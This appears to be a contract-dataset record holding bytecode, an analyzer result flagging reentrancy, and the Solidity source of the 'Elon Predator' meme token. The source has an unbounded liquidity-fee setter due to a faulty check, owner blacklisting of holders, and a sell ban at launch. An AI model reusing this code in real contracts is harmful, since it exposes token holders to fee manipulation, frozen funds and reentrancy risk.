482019250838101850191888311156119e857600080fd5b938501935b82851015611a0d576119fe85611944565b845293850193928501926119ed565b98975050505050505050565b600060208083528351808285015260005b81811015611a4657858101830151858201604001528201611a2a565b81811115611a58576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8157600080fd5b8235611a8c8161192f565b946020939093013593505050565b600080600060608486031215611aaf57600080fd5b8335611aba8161192f565b92506020840135611aca8161192f565b929592945050506040919091013590565b600060208284031215611aed57600080fd5b81356112e28161192f565b8035801515811461194f57600080fd5b600060208284031215611b1a57600080fd5b6112e282611af8565b600060208284031215611b3557600080fd5b5035919050565b60008060008060808587031215611b5257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8357600080fd5b833567ffffffffffffffff80821115611b9b57600080fd5b818601915086601f830112611baf57600080fd5b813581811115611bbe57600080fd5b8760208260051b8501011115611bd357600080fd5b602092830195509350611be99186019050611af8565b90509250925092565b60008060408385031215611c0557600080fd5b8235611c108161192f565b91506020830135611c208161192f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca057611ca0611c76565b5060010190565b60008219821115611cba57611cba611c76565b500190565b600082821015611cd157611cd1611c76565b500390565b600060208284031215611ce857600080fd5b81516112e28161192f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d435784516001600160a01b031683529383019391830191600101611d1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da057611da0611c76565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c19ce400226dd0992f95c516ba5318833c78cdd5ce26a5ed365f4b1c63de4aa164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,253 |
0xae61e748d7f675617c3882dd8189b967432a6ef2
|
/* Socials
Website: http://predatorerc.io/
Telegram: https://t.me/elonpredator
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonPredator is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private time;
uint256 private _tax;
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private fee1=100;
uint256 private fee2=100;
uint256 private liqfee=10;
uint256 private feeMax=100;
string private constant _name = "Elon Predator";
string private constant _symbol = "QUM";
uint256 private _maxTxAmount = _tTotal.mul(2).div(100);
uint256 private minBalance = _tTotal.div(1000);
uint8 private constant _decimals = 9;
address payable private _feeAddrWallet1;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_feeAddrWallet1 = payable(msg.sender);
_tOwned[address(this)] = _tTotal.div(2);
_tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0),address(this),_tTotal.div(2));
emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external {
require(_msgSender() == _feeAddrWallet1);
require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum");
fee1 = _fee1;
fee2 = _fee2;
liqfee = _liq;
}
function changeMinBalance(uint256 newMin) external {
require(_msgSender() == _feeAddrWallet1);
minBalance = newMin;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_tax = fee1.add(liqfee);
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_tax = fee2.add(liqfee);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) {
require(block.timestamp > time,"Sells prohibited for the first 5 minutes");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > minBalance){
swapAndLiquify(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
_transferStandard(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapAndLiquify(uint256 tokenAmount) private {
uint256 half = liqfee.div(2);
uint256 part = fee2.add(half);
uint256 sum = fee2.add(liqfee);
uint256 swapTotal = tokenAmount.mul(part).div(sum);
swapTokensForEth(swapTotal);
addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1);
}
function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{
_approve(address(this),address(uniswapV2Router),tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
addLiquidity(balanceOf(address(this)),address(this).balance,owner());
swapEnabled = true;
tradingOpen = true;
time = block.timestamp + (5 minutes);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 transferAmount,uint256 tfee) = _getTValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(transferAmount);
_tOwned[address(this)] = _tOwned[address(this)].add(tfee);
emit Transfer(sender, recipient, transferAmount);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapAndLiquify(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.mul(_tax).div(1000);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function recoverTokens(address tokenAddress) external {
require(_msgSender() == _feeAddrWallet1);
IERC20 recoveryToken = IERC20(tokenAddress);
recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this)));
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610384578063b515566a146103c1578063c3c8cd80146103ea578063c9567bf914610401578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780637e37e9bb146103055780638da5cb5b1461032e57806395d89b41146103595761011f565b806323b872dd116100e757806323b872dd146101e0578063273123b71461021d578063313ce567146102465780634ea18fab146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806316114acd1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b60405161014691906128fe565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906123ef565b610492565b60405161018391906128e3565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190612302565b6104b0565b005b3480156101c157600080fd5b506101ca610652565b6040516101d79190612a80565b60405180910390f35b3480156101ec57600080fd5b506102076004803603810190610202919061239c565b610663565b60405161021491906128e3565b60405180910390f35b34801561022957600080fd5b50610244600480360381019061023f9190612302565b61073c565b005b34801561025257600080fd5b5061025b61082c565b6040516102689190612af5565b60405180910390f35b34801561027d57600080fd5b50610298600480360381019061029391906124a5565b610835565b005b3480156102a657600080fd5b506102af6108a0565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612302565b610912565b6040516102e59190612a80565b60405180910390f35b3480156102fa57600080fd5b5061030361095b565b005b34801561031157600080fd5b5061032c60048036038101906103279190612552565b610aae565b005b34801561033a57600080fd5b50610343610b9b565b604051610350919061283e565b60405180910390f35b34801561036557600080fd5b5061036e610bc4565b60405161037b91906128fe565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906123ef565b610c01565b6040516103b891906128e3565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e3919061242f565b610c1f565b005b3480156103f657600080fd5b506103ff610d49565b005b34801561040d57600080fd5b50610416610dc3565b005b34801561042457600080fd5b5061043f600480360381019061043a919061235c565b610f0e565b60405161044c9190612a80565b60405180910390f35b60606040518060400160405280600d81526020017f456c6f6e205072656461746f7200000000000000000000000000000000000000815250905090565b60006104a661049f61105a565b8484611062565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f161105a565b73ffffffffffffffffffffffffffffffffffffffff161461051157600080fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161058e919061283e565b60206040518083038186803b1580156105a657600080fd5b505afa1580156105ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105de91906124d2565b6040518363ffffffff1660e01b81526004016105fb929190612859565b602060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064d9190612478565b505050565b6000683635c9adc5dea00000905090565b600061067084848461122d565b6107318461067c61105a565b61072c8560405180606001604052806028815260200161322060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e261105a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e69092919063ffffffff16565b611062565b600190509392505050565b61074461105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906129c0565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087661105a565b73ffffffffffffffffffffffffffffffffffffffff161461089657600080fd5b80600e8190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e161105a565b73ffffffffffffffffffffffffffffffffffffffff161461090157600080fd5b600047905061090f8161194a565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096361105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e7906129c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aef61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610b0f57600080fd5b600c548360ff1611158015610b295750600c548260ff1611155b8015610b395750600c54600b5411155b610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612a60565b60405180910390fd5b8260ff166009819055508160ff16600a819055508060ff16600b81905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f51554d0000000000000000000000000000000000000000000000000000000000815250905090565b6000610c15610c0e61105a565b848461122d565b6001905092915050565b610c2761105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab906129c0565b60405180910390fd5b60005b8151811015610d4557600160056000848481518110610cd957610cd8612e73565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3d90612dcc565b915050610cb7565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8a61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610daa57600080fd5b6000610db530610912565b9050610dc0816119b6565b50565b610dcb61105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f906129c0565b60405180910390fd5b601160149054906101000a900460ff1615610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612a40565b60405180910390fd5b610ec2610eb430610912565b47610ebd610b9b565b611aa0565b6001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff02191690831515021790555061012c42610f069190612bb6565b600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415610fa8576000905061100a565b60008284610fb69190612c3d565b9050828482610fc59190612c0c565b14611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc906129a0565b60405180910390fd5b809150505b92915050565b600061105283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc4565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c990612a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612960565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112209190612a80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561129d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129490612a00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490612940565b60405180910390fd5b60008111611350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611347906129e0565b60405180910390fd5b611367600b54600954611c2790919063ffffffff16565b600881905550611375610b9b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e357506113b3610b9b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118d657600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561148c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61149557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115405750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115965750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115a3575060075442105b1561165357600d548111156115b757600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061160257600080fd5b601e4261160f9190612bb6565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116fe5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117545750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561177757611770600b54600a54611c2790919063ffffffff16565b6008819055505b601160159054906101000a900460ff161580156117e25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117fa5750601160169054906101000a900460ff165b80156118505750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d5576007544211611899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189090612920565b60405180910390fd5b60006118a430610912565b9050600e548111156118d3576118b9816119b6565b600047905060008111156118d1576118d04761194a565b5b505b505b5b6118e1838383611c85565b505050565b600083831115829061192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192591906128fe565b60405180910390fd5b506000838561193d9190612c97565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119b2573d6000803e3d6000fd5b5050565b60006119ce6002600b5461101090919063ffffffff16565b905060006119e782600a54611c2790919063ffffffff16565b90506000611a02600b54600a54611c2790919063ffffffff16565b90506000611a2b82611a1d8588610f9590919063ffffffff16565b61101090919063ffffffff16565b9050611a3681611ec0565b611a99611a4c828761214890919063ffffffff16565b611a7185611a638847610f9590919063ffffffff16565b61101090919063ffffffff16565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611aa0565b5050505050565b6001601160156101000a81548160ff021916908315150217905550611ae830601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b8152600401611b4f96959493929190612882565b6060604051808303818588803b158015611b6857600080fd5b505af1158015611b7c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ba191906124ff565b5050506000601160156101000a81548160ff021916908315150217905550505050565b60008083118290611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0291906128fe565b60405180910390fd5b5060008385611c1a9190612c0c565b9050809150509392505050565b6000808284611c369190612bb6565b905083811015611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7290612980565b60405180910390fd5b8091505092915050565b600080611c9183612192565b91509150611ce783600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611eb19190612a80565b60405180910390a35050505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef857611ef7612ea2565b5b604051908082528060200260200182016040528015611f265781602001602082028036833780820191505090505b5090503081600081518110611f3e57611f3d612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fe057600080fd5b505afa158015611ff4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612018919061232f565b8160018151811061202c5761202b612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f7959493929190612a9b565b600060405180830381600087803b15801561211157600080fd5b505af1158015612125573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600061218a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118e6565b905092915050565b60008060006121c06103e86121b260085487610f9590919063ffffffff16565b61101090919063ffffffff16565b905060006121d7828661214890919063ffffffff16565b90508082935093505050915091565b60006121f96121f484612b35565b612b10565b9050808382526020820190508285602086028201111561221c5761221b612ed6565b5b60005b8581101561224c57816122328882612256565b84526020840193506020830192505060018101905061221f565b5050509392505050565b600081359050612265816131c3565b92915050565b60008151905061227a816131c3565b92915050565b600082601f83011261229557612294612ed1565b5b81356122a58482602086016121e6565b91505092915050565b6000815190506122bd816131da565b92915050565b6000813590506122d2816131f1565b92915050565b6000815190506122e7816131f1565b92915050565b6000813590506122fc81613208565b92915050565b60006020828403121561231857612317612ee0565b5b600061232684828501612256565b91505092915050565b60006020828403121561234557612344612ee0565b5b60006123538482850161226b565b91505092915050565b6000806040838503121561237357612372612ee0565b5b600061238185828601612256565b925050602061239285828601612256565b9150509250929050565b6000806000606084860312156123b5576123b4612ee0565b5b60006123c386828701612256565b93505060206123d486828701612256565b92505060406123e5868287016122c3565b9150509250925092565b6000806040838503121561240657612405612ee0565b5b600061241485828601612256565b9250506020612425858286016122c3565b9150509250929050565b60006020828403121561244557612444612ee0565b5b600082013567ffffffffffffffff81111561246357612462612edb565b5b61246f84828501612280565b91505092915050565b60006020828403121561248e5761248d612ee0565b5b600061249c848285016122ae565b91505092915050565b6000602082840312156124bb576124ba612ee0565b5b60006124c9848285016122c3565b91505092915050565b6000602082840312156124e8576124e7612ee0565b5b60006124f6848285016122d8565b91505092915050565b60008060006060848603121561251857612517612ee0565b5b6000612526868287016122d8565b9350506020612537868287016122d8565b9250506040612548868287016122d8565b9150509250925092565b60008060006060848603121561256b5761256a612ee0565b5b6000612579868287016122ed565b935050602061258a868287016122ed565b925050604061259b868287016122ed565b9150509250925092565b60006125b183836125cc565b60208301905092915050565b6125c681612d20565b82525050565b6125d581612ccb565b82525050565b6125e481612ccb565b82525050565b60006125f582612b71565b6125ff8185612b94565b935061260a83612b61565b8060005b8381101561263b57815161262288826125a5565b975061262d83612b87565b92505060018101905061260e565b5085935050505092915050565b61265181612cdd565b82525050565b61266081612d32565b82525050565b600061267182612b7c565b61267b8185612ba5565b935061268b818560208601612d68565b61269481612ee5565b840191505092915050565b60006126ac602883612ba5565b91506126b782612ef6565b604082019050919050565b60006126cf602383612ba5565b91506126da82612f45565b604082019050919050565b60006126f2602283612ba5565b91506126fd82612f94565b604082019050919050565b6000612715601b83612ba5565b915061272082612fe3565b602082019050919050565b6000612738602183612ba5565b91506127438261300c565b604082019050919050565b600061275b602083612ba5565b91506127668261305b565b602082019050919050565b600061277e602983612ba5565b915061278982613084565b604082019050919050565b60006127a1602583612ba5565b91506127ac826130d3565b604082019050919050565b60006127c4602483612ba5565b91506127cf82613122565b604082019050919050565b60006127e7601783612ba5565b91506127f282613171565b602082019050919050565b600061280a601d83612ba5565b91506128158261319a565b602082019050919050565b61282981612d09565b82525050565b61283881612d13565b82525050565b600060208201905061285360008301846125db565b92915050565b600060408201905061286e60008301856125bd565b61287b6020830184612820565b9392505050565b600060c08201905061289760008301896125db565b6128a46020830188612820565b6128b16040830187612657565b6128be6060830186612657565b6128cb60808301856125db565b6128d860a0830184612820565b979650505050505050565b60006020820190506128f86000830184612648565b92915050565b600060208201905081810360008301526129188184612666565b905092915050565b60